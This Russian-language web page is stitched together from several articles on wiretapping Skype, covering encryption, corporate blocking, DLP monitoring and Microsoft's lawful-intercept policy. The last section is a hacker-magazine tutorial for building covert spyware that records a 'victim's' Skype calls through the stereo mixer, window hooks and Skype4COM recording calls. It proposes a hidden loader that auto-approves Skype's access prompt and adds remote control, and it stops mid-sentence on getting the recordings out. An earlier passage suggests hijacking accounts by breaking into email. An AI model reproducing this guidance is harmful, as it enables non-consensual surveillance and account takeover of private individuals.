Можно ли подслушать разговор скайпе. Вас не слышно! Кто, как и зачем может прослушивать разговоры в Skype. Пути решения проблемы блокировки

На протяжении многих лет Skype имеет репутацию максимально надежного и защищенного от чужих любопытных глаз и ушей средства общения по интернету. Кроме того, компаниям, которые хотят запретить сотрудникам пользоваться "Скайпом" на рабочем месте, тоже приходится нелегко.

Защищен ли Skype?

Skype не случайно считается одним из самых хорошо защищенных от прослушивания каналов коммуникации. Его создатели, имевшие уже опыт организации пиринговой сети Kazaa, создали сервис IP-телефонии, работающий по принципу P2P-сети, и активно использующий многоуровневое шифрование трафика. Несмотря на большой интерес к Skype со стороны как злоумышленников, так и спецслужб, протокол держится довольно стойко, и не выдает своих секретов посторонним.

Несмотря на неоднократно появлявшиеся слухи об успешных атаках и "бэкдорах", за всю многолетнюю историю Skype не было никаких официальных сообщений о том, что Skype удалось взломать и успешно прослушать. Но правоохранительные органы могут спать спокойно, потому что руководство Skype подчеркивает, что готово сотрудничать с правоохранительными органами "везде, где это возможно с правовой и технологической точки зрения ". А простые пользователи? Очевидно, если они не занимаются ничем противоправным, и их больше беспокоит защита от злоумышленников, чем от правоохранительных органов, то и они могут не волноваться. Шифрования трафика с помощью AES-256, для передачи ключа которого, в свою очередь, используется 1024-битный ключ RSA, достаточно для самых требовательных к соблюдению конфиденциальности информации участников личных и деловых переговоров.

Почему трудно блокировать Skype

Прослушать Skype в разы сложнее, чем перехватить электронную почту, которой многие пользуются, не прибегая ни к каким средствам защиты передаваемой по ней данным. Тем не менее несмотря на хорошую защищенность протокола, многие компании предпочитают блокировать доступ сотрудников к Skype.

Для чего это делается? Как правило, сами работодатели объясняют такое свое поведение очень просто: чтобы сотрудник не отвлекался в рабочее время, если общение по Skype не входит в список его непосредственных обязанностей. Также популярны следующие мотивации: чтобы избежать возможных утечек конфиденциальной информации, чтобы сэкономить на трафике, который Skype потребляет с весьма неплохим аппетитом... Хотя последнее уже встречается редко благодаря повсеместному проникновению "анлимов".

Тем не менее в силу ряда особенностей протокола Skype даже блокировать его не так уж и просто. Дело в том, что для обхода блокировки с помощью "файрволов" разработчики Skype немало поработали еще на этапе создания распределенной архитектуры своего протокола. Поэтому Skype спроектирован таким образом, что может пользоваться как протоколом UDP, так и TCP, а благодаря шифрованию пакетов распознать их в общем трафике тоже довольно непросто. Хотя, конечно, нельзя сказать, что эта задача совсем нерешаема.

Пути решения проблемы блокировки

С помощью Google (или "Яндекса", если вам ближе эта поисковая система) можно найти немало форумов, где системные администраторы дружно пытаются с переменным успехом найти рецепт блокировки Skype с помощью iptables. Похоже, что разработчики Skype отслеживают попытки как администраторов, так и производителей "файрволов" заблокировать их продукт, и наиболее удачные из них нейтрализуют выпуском новой версии клиента, которая уже успешно обходит новые способы блокировки Skype-трафика.

Тем не менее есть ряд продуктов, вполне пригодных для того, чтобы блокировать использование Skype в одной отдельно взятой конторе. Наиболее успешны "железные" решения - например, Unified Security Gateway компании Facetime или Cisco IOS Flexible Packet Matching. С их помощью вы можете или совсем заблокировать Skype-трафик, или, по крайней мере, несколько умерить аппетит Skype-клиента, выставив фиксированную ширину канала, отведенного для него. Что касается чисто программных "файрволов", то по отзывам, среди них неплохо зарекомендовал себя TeleMate NetSpective. Большинство же широко используемых "файрволов" (не будем показывать пальцем, чтобы не обидеть их производителей) в вопросах блокировки Skype-трафика, увы, находятся не на высоте.

Тем не менее еще раз повторюсь, большинство администраторов, которые на практике сталкивались с задачей запрета использования Skype, сходятся во мнении, что наиболее эффективной (и при этом, пожалуй, самой дешевой для компании) мерой является удаление клиента Skype с пользовательских рабочих станций и постоянный контроль за тем, чтобы он там снова не мог появиться. Но это, опять-таки, требует применения тоже не самых дешевых решений по мониторингу установленного софта.

Вернемся к вопросу прослушивания

Что ж, поговорив о блокировке Skype, вернемся к гораздо более интересному вопросу - к прослушиванию этого протокола. Как я уже сказал выше, возможностей шифрования более чем достаточно для того, чтобы не бояться, что кто-то сможет воспользоваться трафиком, идущим от одного клиента к другому. И, тем не менее, Skype прослушивать и прочитать можно. Но не перехватывая и расшифровывая трафик, отправляемый Skype-клиентом, а перехватывая тот поток данных, который ещё не подвергся шифрованию и пересылке. Конечно, для этого требуется иметь доступ к компьютеру того человека, чьи переговоры по Skype хотят прослушивать.

Это можно реализовать как с помощью программ, осуществляющих перехват всей информации со звуковой карты и клавиатуры (ведь в Skype есть и чат, и за ним тоже хочется наблюдать), так и специализированных решений, "заточенных" специально под Skype. Первый вариант реализуется вообще малой кровью - достаточно в том же стандартном Sound Recorder"е выбрать в качестве входного канала Stereo Mixer (в зависимости от звуковой карты, он может называться иначе - например, "What you hear"). Плюс какой-нибудь бесплатный кейлоггер, который можно за пять минут найти с помощью Google, и у вас есть готовая система слежения за сотрудниками. Но у нее есть минусы: вместе с разговором по Skype будет записываться и музыка, которую пользователь слушает в перерывах между ними. То же касается и клавиатурного ввода - вам придется вручную отделять "зерна от плевел", то есть сообщения, переданные через Skype, от набранных в Word"е документов. Что касается специализированных инструментов, то Google показал, что их на самом деле мало. Одним из лучших по праву считается SearchInform SkypeSniffer. Программа умеет самостоятельно выделять голосовой и клавиатурный ввод Skype из общего потока, а также обладает мощными поисковыми возможностями по базе собранных пользовательских сообщений. Ну и к тому же это компонент мощного решения для защиты от утечек данных, до которого можно обновиться при желании в процессе ее использования.

Резюме

В общем, можно сказать, что если вы не международный террорист, то за перехват своих Skype-переговоров можете не волноваться - обычным людям, пусть даже очень хорошо подкованным технически, это пока что не по силам. Блокировать Skype-трафик при желании можно, но гораздо проще запретить установку самого клиента Skype. Прослушать же разговоры по Skype, установив перехватчики на пользовательском компьютере, несложно - если, конечно, есть такая необходимость.

Глобальные интересы стран, как показывает новейшая история, могут совпадать с интересами обычных компаний. Поэтому руководство и тех, и других заинтересовано в возможности мониторинга общения по Skype. Причины, которые побуждают к этому, очень разные, а вот цель всегда одна. Если государство собирается запретить Skype, то в бизнесе таких опрометчивых решений никто принимать не собирается. Это удобный инструмент, запрет которого может привести к огромным издержкам. Многие руководители нашли выход из положения. Если блокировать нельзя, значит, можно начать контролировать.

Вне конкурса

Первый способ, как узнать содержание чьей-то переписки, является настолько простым и очевидным, что причислять его к реальным техникам мониторинга просто не поднимается рука.

У Skype есть функция получения доступа к аккаунту сразу с нескольких устройств. Эта функция, с одной стороны, очень удобная, но с другой - она оборачивается настоящей проблемой для безопасности. Если кто-то знает ник и пароль в скайпе, то присутствие другого человека в сети можно даже не заметить. При этом такой человек сможет получать пересылаемые файлы, слышать звонки и следить за перепиской. Вся переписка окажется полностью скомпрометированной. Для такого рода деятельности, конечно, надо узнать ник и пароль. Но все логины доступны в обычном поиске по сети, а вторые можно добыть, взломав почтовый ящик и попросив Skype выслать на него «забытый» пароль.

«Минус» такого подхода заключается в том, что следить одновременно за несколькими людьми просто не получится. Про скрытность тоже не приходится говорить. Поэтому придется переходить к более сложным и специфическим методам слежения.

Вначале было слово

О расшифровках протоколов Skype говорят много, но найти конкретные решения, которые бы работали для широкой публики, пока все еще невозможно. Поэтому основные правила перехвата сводятся к тому, что нужно перехватить информацию еще до того, как программа ее зашифрует. Получается, что шпионский софт должен быть установлен на компьютере того, за кем организуется слежка. Проще всего, если рассматривать техническую сторону вопроса, перехватить звонки. Есть разные средства, которые работают «из коробки» (к примеру, Power Intercept или AnyMessageRecorder, другие подобные программы). Но такой способ перехвата информации требует предварительного физического доступа к компьютеру. Даже если добраться к нему получится, скрыть следы такой деятельности будет проблематично.

Другой способ перехвата информации можно реализовать через штатные средства Windows. Задействовать стандартный WinAPI+.NETFramework, чтобы записывать звук с микрофона. Но недостатков у такого способа будет гораздо больше, чем полезного функционала. Потому что при такой прослушке будут записаны не только разговоры, но и прослушиваемая музыка с другими посторонними шумами. Если же функция стереомикшера на компьютере отключена, то перехватывать вообще будет нечего.

Но это не единственные подходы, которые могут помочь в перехвате звонков в Skype. Более сложная схема требует использования официального набора инструментов разработчика (SDK), который предоставляется самими разработчиками. Если немного доработать SDK, то на одном из шаблонов метода получения информации о текущем звонке будет реализована запись звука с микрофона, ответы собеседника в ходе беседы.

Прямая насыщения

Как и в математике при доказательстве теорем, при перехвате Skype есть условия необходимые, а есть достаточные. В этом ключе перехват звонков - необходим, но не достаточен. Если рассматривать реальную компанию, то вряд ли потенциальный «крот», или, говоря на языке специалистов по информационной безопасности, инсайдер, будет вслух надиктовывать сообщникам бизнес-планы или номера кредитных карт. Скорее всего, он либо перешлет информацию в файле, либо отправит сообщением. Это приводит к логическому выводу о том, что для качественного мониторинга Skype необходим не только перехват звонков, но и чатов, смс, а также пересылаемых файлов. Реализовать подобный функционал также можно с помощью SDK, черпая полезные знания из открытых документов и описаний библиотеки Skype4COMLib.

Но и здесь, как обычно, присутствуют минусы. Они, конечно, не такие серьезные, как в подходах, описанных ранее, но все же. При старте приложения, написанного с использованием SDK, Skype автоматически спросит «разрешить ли доступ?». Не нужно быть экстрасенсом, чтобы предугадать ответ пользователя. Поэтому необходимо предусмотреть автоматическое «одобрение» без участия человека. Эта проблема может быть решена, к примеру, через штатные функции WindowsFindWindow, GetWindowText и ряд других. Принципы подробно расписывались во времена расцвета «угонов» электронных кошельков WebMoney несколько лет назад.

По сути, перехват информации из Skype в нынешних условиях представляет собой не что иное, как работу логгера. Но организовать перехват - это лишь половина успеха. Информацию еще нужно где-то хранить, а затем пересылать. В случае перехвата звука также необходимо заботиться об объеме файлов, т.к. писать и пересылать WAV-файлы не столько роскошь, сколько глупость (в плане сокрытия действий программы от пользователя). Все это приводит руководителей компаний к проблеме выбора.

На распутье

Поэтому первым вариантом будет заказать у хакера написание утилиты для перехвата Skype. Вариант этот упоминается, скорее, в ознакомительных целях, потому что он сопряжен с большой долей риска.

Сама по себе такая сделка не может быть проведена официально - это первый недостаток. Второй недостаток - если деньги уплачены, а работа не сделана (или сделана плохо), то вернуть их уже вряд ли получится (потому что сделка-то неофициальная). Если подделка будет работать хорошо, все равно нет гарантий, что исполнитель не оставит для себя определенной лазейки. Он сможет получить доступ к переписке компании, а дальше все зависит от совести такого хакера: может начаться шантаж начальства и сотрудников, информация может быть передана для публикации в открытые источники. Любое развитие событий не пойдет на пользу фирме, поэтому грамотные руководители на такой шаг просто не идут.

DLP-система

Наиболее безопасным способом мониторинга Skype-активности сотрудников является использование DPL-системы. Ее название имеет полный английский эквивалент: DataLeakPrevention. Данная система специально разработана для защиты от утечки информации. Мониторинг Skype в некоторых из подобных систем уже успешно реализован. Но только единицы способны на полный перехват и анализ информации.

Кроме того, понимая важность доверия со стороны заказчиков, производители DLP-систем проходят сертификацию. Наличие сертификата означает отсутствие недекларированных возможностей, бэкдоров и т.п., и является гарантией того, что обрабатываемая системой информация не передается третьим лицам.

К минусам DLP-систем следует отнести их стоимость. Помимо этого, далеко не все системы этого класса являются модульными. То есть заказчик не может купить себе только средство контроля мессенджеров, веба или принтеров. Системы, продающиеся «целиком и сразу», вынуждают компании переплачивать за те возможности и решения, которые они не планируют использовать.

И чтобы не заканчивать на негативной ноте, взглянем на проблему перехвата Skype чуть шире. Даже если информация была успешно перехвачена и передана, ее необходимо анализировать. Читать все и всех «по старинке» нерационально. При таком подходе один офицер безопасности хорошо если способен охватить 20-50 человек. А если сотрудников несколько сотен или тысяч? Поэтому главным козырем современных DLP-систем является их способность к автоматическому анализу информации с помощью различных поисковых алгоритмов и отработка заданных политик безопасности.

Послесловие

Не так давно стало известно о том, что с 1 декабря 2013 года Microsoft собиралась закрыть APISkype под предлогом того, что «оно морально устарело». Другими словами, все сторонние приложения (в частности, модули перехвата ряда DLP-систем), работающие в виде плагинов через API, перестанут работать. Однако на улице год 2014-й, а API по-прежнему работает. Забыли ли его закрыть, или Microsoft прислушалась к возмущенным письмам сторонних разработчиков - неизвестно. Главное, что угроза закрытия API подтолкнула разработчиков DLP-систем к пересмотру подхода перехвата Skype в лучшую сторону. Сегодня этот мессенджер перехватывается на более «универсальном» уровне. К сожалению, подробности на данный момент рассказывать запрещено.

Зато любопытно другое: пару лет назад Microsoft подала заявку на патент, описывающий технологию, которая позволит перехватывать разговоры в системах интернет-телефонии. В тексте патента Skype упоминался в качестве одного из сервисов, в которых новая технология может найти применение. Если принять во внимание те факты, что в мае 2011 года IT-гигант приобрел Skype за $8,5 млрд, а спустя несколько месяцев опубликовал документ с описанием технологии Legal Intercept (легального перехвата), позволяющей незаметно для пользователя считывать информацию, передаваемую по каналам интернет-телефонии, становится понятно, что ставить точку в вопросе контроля Skype еще рано.

Сервис Skype начал полное сотрудничество с правоохранительными органами, насколько это технически и юридически возможно. Компания Microsoft может разрешить спецслужбам прослушивать разговоры пользователей Skype, а также предоставит доступ к их личной переписке, следуя «новой» политике полного содействия правоохранительным органам. Отметим, что с момента создания служба видеосвязи Skype была серьезным барьером, препятствующим правоохранительным органам в проведении слежки. Используя различные механизмы шифрования на протяжении нескольких лет Skype оставался одним из немногих сервисов, перехват данных которого был практически невозможным. Однако весной текущего года в сети начали появляться сообщения о том, что корпорация Microsoft переделывает архитектуру Skype, изменения в которой позволят правоохранительным органам «подключаться» к разговорам пользователей службы. В то же время представители Microsoft заявили, что предполагаемые изменения в программе являются обычными доработками продукта и нет никаких оснований считать, что администрация сервиса пытается разработать бэкдоры для правительственной «прослушки».

Напомним, что в мае прошлого года компания Microsoft запатентовала технологию «законного вмешательства», которая позволяет правоохранительным огранам «подключаться» к разговорам пользователей в различных VoIP-службах, а также «перехватывать» передаваемый контент без ведома самих пользователей. На вопрос о том, будет ли новая технология использоваться в службе Skype, разработчики не ответили. По данным ресурса Slate, владелец поменял политику конфиденциальности Skype, в нормах которой проглядывается готовность создателей сотрудничать с правоохранительными органами настолько близко, насколько это будет возможно с юридической и технологической точки зрения.

В соответствии с пунктом 3 политики конфиденциальности Skype, сервис и его партнеры могут предоставлять личные данные, содержимое разговоров и/или трафик данных пользователей в ответ на законный запрос органов судебной власти или правоохранительной системы. Кроме того мгновенные сообщения, переданные пользователем, будут сохраняться на протяжении 30 дней, если другой срок не будет истребован представителями госорганов.

Руководитель отдела разработки Марк Джиллетт в официальном блоге компании попытался опровергнуть эту новость.

«Было высказано предположение, что в архитектуру Skype, по приказу Microsoft, внесены изменения, обеспечивающие правоохранителям более широкий доступ к коммуникациям наших пользователей, – отметил руководитель отдела разработки. – Заблуждение. Перенос Skype в дата-центры Microsoft основан на нашем стремлении предоставить лучший продукт для наших пользователей. Этот шаг был сделан с целью повысить надежность платформы и увеличить скорость, с которой мы можем реагировать на проблемы. Это также дает нам возможность быстро внедрять новые интересные функции».

Второе предположение, которое опровергается в официальном блоге Skype, о том, что сервис недавно изменил свою политику в отношении правоохранительных органов.

«Команда в Skype, отвечающая на законные требования и просьбы со стороны правоохранительных органов, действует с 2005 года. Наша позиция всегда заключалась в том, чтобы содействовать правоохранителям, если они следуют соответствующим процедурам, если наша помощь требуется по закону и технически осуществима. Дополнительную информацию по нашей позиции вы найдете в правилах, размещенных на нашем сайте», – отвечает на это Марк Джиллетт.

Также разработчик опроверг предположение, что Skype начал отслеживать и записывать аудио- и видеозвонки пользователей и предоставил спецслужбам возможность легкого доступа к мгновенным сообщениям.

Не отменена, подчеркивает Марк Джиллетт, и практика шифрования звонков. «Только в версии ПО для Китая содержится фильтр чата в соответствии с местным законодательством», - добавил начальник отдела разработки.

Ещё совсем недавно мы представляли себе связь между людьми только по средствам стационарных телефонов, азбуки Морзэ, телеграфа и т.д. Но вот на дворе уже XXI век и для нас уже нет ничего необычного. Мобильные телефоны, компьютеры, различные гаджеты уже заполнили нашу жизнь, и удивить нас, пожалуй, уже нечем. Одним из новейших и динамично развивающихся направлений, является видео связь. Видео конференции, селекторные совещания, да и просто, видео-звонки считаются неотъемлемым способом связи.

Конечно, существует много способов видеосвязи, различные программы, специальные сервисы в Интернет, но мы поговорим, пожалуй, о самой популярной и доступной программе Skype. Первая версия программы была выпущена ещё в далеком 2003 году, но через пару лет была продана компании eBay, и с тех пор она претерпела очень много изменений, добавились новые сервисы, конференцсвязь и многое другое. На сегодняшний день, Skype является самой мощной и популярной программой для связи.

Обзор мессенджера Skype

А теперь зададимся вопросом: — «А возможно ли прослушать Skype ?». До недавнего времени считалось, что всё, что мы делаем в Интернете, анонимно и конфиденциально, но это не так! Последние события показали, что за всеми нами, даже в сети, следит «Большой папа»))). Так насколько мы защищены, пользуясь таким видом видеосвязи как Skype?

  • Для начала рассмотрим принцип работы программы. После недолгой установки дистрибутива, мы сразу попадаем в программу, вводим логин и пароль и вот, мы попадаем в мир, в котором расстояние не имеет значение! Но каким же образом происходит видео-связь? Одним из основных аргументов, защищающих разговор, который приводят нам разработчики, является то, что все данные передаются напрямую, обходя сервер и т.д., т.е. отсутствует третье лицо во время разговора. Но ведь как не крути, а два компьютера получают эту информацию. Конечно, сложные способы шифрования передаваемой информации постоянно улучшаются и модернизируются, что значительно усложняет, а порой и делает невозможным подключение к каналу передачи данных.

Обращу Ваше внимание на то, что в отличие от социальных сетей, все сообщения Skype и история хранятся на Вашем компьютере, соответственно даже если узнать логин и пароль, то получение этой информации с другого компьютера невозможно.

То есть получается, что Skype это непреступная крепость? А вот и нет, есть очень несложный и довольно эффективный способ – установить специальную на компьютер пользователя. Конечно, не всегда имеется доступ, но установка такой программы займет очень мало времени, фактический, достаточно нескольких минут и вот, Вы уже становитесь всевидящим! Программа, ведет перехват переписки Skype , ведет запись звонков Skype в формате mp3 и отправляет вам на email, при этом пользователь даже не будет догадываться, что его прослушивают. Но не забываете, что разработчики Skype, тоже не дремлют и постоянно выпускают обновления, которые блокируют подобные программы, но и разработчики «шпионов» тоже не стоят на месте и обновляют свои «детища»… и вот такая игра будет вечно)))

Приятного общения:-)!

.
Если раньше нам нужно было часами отвисать в текстовых чатах, набивая килобайты
информации, то теперь, благодаря распространению безлимитного инета вплоть до
российской глубинки, даже самые удаленные от столицы интернетчики могут познать
радость голосового общения.

Способы перехвата

С целью мы определились и теперь нужно начитаться скучной теории, без которой
в таком деле продвинуться нереально. Прогуляйся по улице, свари себе чашечку
глинтвейна, расположись удобнее в кресле и начинай впитывать священные знания.

Способ #1

Буквально в начале октября 2009 года один умелец написал продвинутый снифер,
о котором написали во всех security-ресурсах всемирной паутины. Если верить
новостям и автору снифа, то выходит, что перцу удалось перехватить скайп-трафик
(ну, это можно было сделать и раньше) и, что самое главное – расшифровать его.

Обойти такое событие стороной я не мог, поэтому немедленно решил найти
заветный исходничек (автор снифера был чертовски добр и выложил на паблик полный
сорец), но жестко обломался. Враги народа убрали заветный сорец с сабжевого
сайта, а часовой марш-бросок по гуглу нормальных результатов не дал. Мне лишь
попадались какие-то нерабочие сорцы.

Совсем отчаявшись, я плюнул на этот вариант. Стоп! Если ничего не вышло, то
зачем я все это тебе рассказываю? Все просто, ситуация меняется каждый день и
вполне возможно, что к моменту выхода статьи в свет на просторах всемирной
паутины появятся рабочие сорцы этого тройчика. Чем черт не шутит. Учти, если
удастся найти заветный исходник, то считай, что у тебя в руках все козыри и
теперь все скайперы станут для тебя мишенями.

Способ #2

Несомненно, первый способ - самый лучший, но с реализацией реальный напряг.
Буду откровенен: я уже отчаялся и хотел положить на всю затею железный болт, но
редактор рубрики был другого мнения. После пары намеков, двух ударов по почкам и
печени я не смог отказать в подготовке материала. Как оказалось, сделал я это не
зря.

Если не получается достичь цели напрямую, то нужно заходить с тылу. Так
поступил и ваш покорный слуга. Идея проста до безобразия и, возможно, ты уже
даже юзал эту фичу для какого-нибудь благого дела.

Не буду ходить вокруг да около, а раскрою все карты. Итак, в горячо мной
любимых операционных системах от Microsoft есть такая фича - стерео-микшер.
Немногие знают, что благодаря этой, казалось бы, бесполезной приблуде и
какого-нибудь языка программирования реально сварганить полноценного
skype-шпиона.

Активируй в своей (или не совсем своей?) системе стерео-микшер, и тебе
становятся подвластными оба звуковых потока – тот, которой идет на микрофон и
соответственно тот, который поступает на колонки/наушники. Догадываешься, к чему
я клоню? Все верно, чтобы зарипать беседу двух людей по скайпу, тебе лишь
потребуется воспользоваться стандартным WinAPI/объектами для записи звука с
микрофона.

Сделать это достаточно просто и убедиться в этом ты сможешь, взглянув на
врезку 1. В нем я привел часть, отвечающего за запись звука. Не торопись все это
переписывать, сразу он у тебя все равно не скомпилится.

Увы, несмотря на всю мощь и безграничные возможности.NET Framework, в нем
совершенно отсутствуют инструменты для записи звука. Несомненно, в будущих
версиях этот пробел будет восполнен, но мы-то ждать не можем!

Многие.NET-разработчики для организации в своих приложениях возможности
записи звука используют банальные вызовы API-функций. Вариант неплохой, но
крайне неудобный. Я пошел несколько другим путем и воспользовался наработками
Mark Heath.

Этот человек потрудился на славу и создал проект NAudio – аудиоредактор с
открытым исходным кодом. В рамках проекта Марк написал каркас, позволяющий
максимально удобно взаимодействовать с различными WinAPI-функциями для работы со
звуком.

NAudio доступен на . Просто
подтяни его модули к своему проекту и тебе станут доступны все необходимые
классы. Записывать звук с их помощью крайне просто. Да ты, наверное, в этом уже
убедился:).

В самом начале листинга я определяю формат WAV-файла. Для этого мне требуется
установить количество каналов (в нашем случае будем писать в mono) и частоту
сэмпла. Кроме настроек формата аудиофайла, мне требуется определить устройство
(device number), с которого мы будем захватывать звук. Я устанавливаю 0, что
соответствует устройству записи "по умолчанию".

Узнавать об очередной порции поступивших на звуковую карту данных нам может
событие waveIn_DataAvaible(). Если оно сработало, то значит пришли данные и их
требуется записать.

А вот и первые минусы

Не спеши пускать слюни и пытаться впопыхах сотворить зловреда для Skype.
Предложенный мной способ хорош и полностью работоспособен, но у него есть
несколько минусов, о которых тебе необходимо узнать заранее. Некоторые из них:

1. Нет никаких гарантий, что в системе пользователя стерео-микшер вообще
будет активен. Да, он включен по умолчанию, но многие пользователи принудительно
отключают его. Зачем? Лично мне приходится это делать из-за того, что я пишу
подкасты и мне крайне важно, чтобы звук захватывался лишь с моего микрофона, а
не голоса соведущего.

Твоя программа должна быть готова к такому положению дел и в случае чего
суметь самостоятельно внести нужные настройки. Вот здесь возникают небольшие
сложности, но разве кто-то говорил, что будет совсем просто?

2. Нет четкого ориентира, на который можно опереться и 100% заверить, что
именно сейчас пользователь начал общаться со своим собеседником. На одном из
кодерских форумов для решения данной траблы предлагали следующий способ:
анализировать звук, поступающий на микрофон и в случае обнаружения больших
скачков звуковой волны (т.е. когда человек начинает орать/говорить) приступать к
записи. Для прерывания следует руководствоваться примерно таким алгоритмом –
ждем тишины и, если она длится более n минут, прекращаем захват звука.

Предложенный алгоритм, несомненно, хорош, но в описанном выше виде им лучше
не пользоваться. Попробую объяснить, почему. Заюзав данный способ в чистом виде,
ты рискуешь напороться на большое количество ложных срабатываний. Если на
вражеской территории микрофон лежит возле колонок, из которых без устали звучит
heavy metal, то твой трой будет постоянно вести запись, и во время сбора урожая
ты обнаружишь, что у тебя появился сборник всех любимых треков твоей жертвы. Что
же тогда делать? Надеяться на авось и писать все подряд? Можно, но это как-то не
по-хакцерски.

Я провел небольшой мозговой штурм и пришел к выводу, что озвученным выше
способом пользоваться можно, но только предварительно организовав страховку.
Страховка может быть, как минимум, двух видов:

1. Хуки. В нашем журнале мы неоднократно описывали технику применения хуков,
и еще раз расписывать все подробности и, тем более, приводить примеры, меня
сильно обламывает. Ты уже не маленький и такие вещи должен знать:). Я лишь
подскажу алгоритм:

a. Ставим хук на обработку создания новых окон.

b. Реализуем проверку, в которой обрабатываем каждое вновь созданное окно. В
коде проверки мы должны смотреть на: родителя окна, класс окна, заголовок и т.д.
По этим признакам мы можем распознать окно входящего Skype-звонка и в случае
чего начать запись.

2. Функции для работы с окнами. Вторым вариантом решения задачи будут хорошо
знакомые тебе WinAPI-функции для работы с окнами. Ты ведь еще помнишь такие
слова, как FindWindow, EnumWindows, EnumChildWindows и т.д.? С помощью этих API
реализовывается банальный поиск окна входящего звонка. Если окно найдено, то это
означает, что жертва начала базарить по скайпу, в противном случае нужно
выполнить поиск чуть попозже. Периодичность поиска должна быть минимальной,
иначе ты рискуешь пропустить секретные звонки.

Способ #3

И вот мы медленно, но верно добрались до самого простого и удобного способа
записи skype-бесед. Немногие знают, что разработчики Skype поощряют людей,
имеющих желание разрабатывать всякие полезняшки для их детища. Само поощрение
выражается в разработке и обновлении официального SDK.

На основе компонент, входящих в SDK, программисты могут создавать аддоны или
просто приложения на базе Skype. В качестве одной из вкусностей этого наборчика
можно выделить наличие примеров для разных популярных языков программирования.
Тут тебе и C++, и C#, и даже великий и могучий Delphi не забыт (кстати, не все в
курсе, но сам Skype написан на Delphi). Одним словом, этот SDK – рай для
программистов, решивших поковырять Skype.

Для нас с тобой SDK – это даже круче, чем рай. На базе этого каркаса мы
сможем не только записать голосовое общение пользователя, но и перехватить
полученные и отправленные им текстовые сообщения, файлы, совершить звонок от его
имени и т.д.

Но не будем бежать впереди паровоза, восхваляя то, что еще пробовали, а
познакомимся со всеми нюансами на примере.

Лезь на наш DVD и устанавливай SDK. Установка не должна вызвать затруднений.
Просто запусти файлик из папочки SDK и соглашайся со всем, что у тебя спросят.
Завершив установку – запускай Visual Studio (я использовал 2008-ю версию) и
создавай новый проект. В качестве типа проекта выбери шаблон SEHEwc.

Пока у тебя создается проект, я вкратце расскажу про шаблон SEHEwc. По правде
говоря, это не совсем шаблон в привычном нам понимании. В реале это полноценный
пример, демонстрирующий все возможности хваленого мной SDK. Демка написана очень
хорошо и разбираться в ее коде одно удовольствие.

До начала погружения в код стартани свой скайп и запусти созданный прожект (я
сейчас про шаблон). При выполнении исходника твой скайп преданно отрапортует,
что такое-то приложение пытается получить доступ к его функциям. Давай добро и
попробуй отправить через скайп текстовое сообщение. Не успеешь его запулить, как
весь отправленный текст появится в текстовом поле. Это означает, что
демонстрационный пример успешно работает.

Мощность примера не вызывает сомнений. На первый взгляд может показаться, что
его код дает ответы на самые изощренные вопросы, связанные с программированием
скайпа. Но, самая нужная для нас фича – запись разговоров, в нем, увы, не
реализована. Что ж, будем исправлять ситуацию.

Перейди в редактор кода и найди описание метода OurCallStatus. В его теле
описано получение различной инфы о текущем звонке. Это все хорошо и безумно
интересно, но мы хотим другого. Сотри имеющийся код, и вместо него перепиши
содержимое третьей врезки. Пока ты будешь переписывать, я расскажу о том, что
там происходит.

В самой первой строке я выполняю проверку и сравниваю значение переменной
status с со значением clsInProgress перечисления TCallStatus (ух,
настальгическая дельфячья буковка T перед именем типа:)). Если они равны, то
беседа в самом разгаре и пора начинать запись звука.

Теперь приготовься и не упади со стула, когда узнаешь, что запись
осуществляется всего лишь одной строкой:

call.set_CaptureMicDevice(TCallIoDeviceType.callIoDeviceTypeFile,
@"Путь, куда сохранять" + call.Id.ToString() + ".wav");

В первый параметр метода set_captureMicDevice требуется передать устройство,
на которое будет выведен поток с микрофона. Типы устройств хранятся в
перечислении TCallIoDeviceType. Мы хотим захватывать звук в файл, поэтому ставим
callIoDeviceTypeFile. Второй параметр зависит от первого. В нашем случае в нем
передается путь к файлу, в который будем сохранять результат записи.

Обрати внимание, что вызовом метода set_captureMicDevice мы сохраним лишь
голос нашей жертвы, а те, с кем она говорит – останутся за кадром. Записывать
собеседников мы будем при помощи метода set_OutputDevice:

call.set_OutputDevice(TCallIoDeviceType.callIoDeviceTypeFile, @"Путь
куда сохранять" + call.Id.ToString() + ".wav");

Параметры у него точно такие же, как и у предыдущего, поэтому дважды
рассказывать не буду:).

Можно сказать, что все готово. Компиль и запускай проект. При стартинге не
забудь одобрить в скайпе инжект, иначе ничего захватить не получится.

Попробуем протестировать наше приложение в реальных условиях. Попроси своего
приятеля, чтобы он позвонил тебе по скайпу и немного поболтал с тобой.

Если при переписывании листинга ты был крайне внимателен, то по переданным в
методы captureMicDevice и set_OutputDevice путям для сохранения файлов, будут
лежать свежеиспеченные WAV’ки. Прослушай их в своем плеере и убедись, что все
работает как надо.

Пользоваться SDK крайне просто (особенно если пишешь под.NET) и его
возможности будут однозначно востребованы при разработке профессионального
skype-logger’a.

Я не буду тебе рассказывать, как выполнять перехват текстовых сообщений и
другой полезной инфы. Все это делается путем вызова парочки методов, которые
подробно документированы. Доки (само собой на английском) всегда доступны на
официальном портале:

https://developer.skype.com/Docs/Skype4COMLib . Если ты испытываешь проблемы
с инглишем, то не расстраивайся. Просто посмотри код шаблона приложения. Думаю,
ты во всем разберешься. В крайнем случае – пиши мне.

Досадные ограничения

У официального SDK есть один, но крайне большой, минус. При запуске твоего
приложения скайп будет постоянно бить тревогу. Сам понимаешь, если жертва увидит
странное окошко с вопросом: "а разрешить ли этому приложению доступ?", то с
99,9% вероятностью она нажмет на кнопочку "Нет" и ты останешься в пролете. Чтобы
этого не случилось, я рекомендую тебе делать две проги – одна будет
ориентирована на захват звука и написана на удобном C#, а вторая является своего
рода загрузчиком. Ее основной целью будет незаметное пребывание в системе,
скрытие/нажатие кнопок ненужных окон (это про окошко одобрения запуска). Кроме
того, через эту самую прогу-загрузчик можно будет реализовать все функции
удаленного управления и т.д. В общем, идею ты понял.

Как бороться с "ненужными" окнами?

И во втором и в третьем методе захвата скайп-бесед мы напоролись на проблему
- взаимодействие с окнами чужого приложения. Я говорил, что о работе с чужими
окнами в нашем журнале мы рассказывали много раз (рекомендую статью про угон
кошельков веб мани, опубликованную года 3-4 назад), но если ты только влился в
нашу тусовку и не знаешь, что да как, не поленись, зайди на bing.com и поищи там
на предмет функций FindWindow, GetWindowText, PostMessage. Поисковик мелкомягких
сразу же тебя выведет на нужный раздел MSDN’а и ты быстренько сможешь
познакомиться с этими полезными функциями.

Вывод файлов

Рано или поздно ты столкнешься с еще одной большой проблемой – сбором урожая.
Безошибочно сейвить всю болтовню жертвы, конечно же, хорошо, но какой толк от
награбленного добра, если его нельзя забрать и проанализировать? Верно,
никакого.

Шпион для скайпа – это не кейлоггер и его логи так просто по почте не
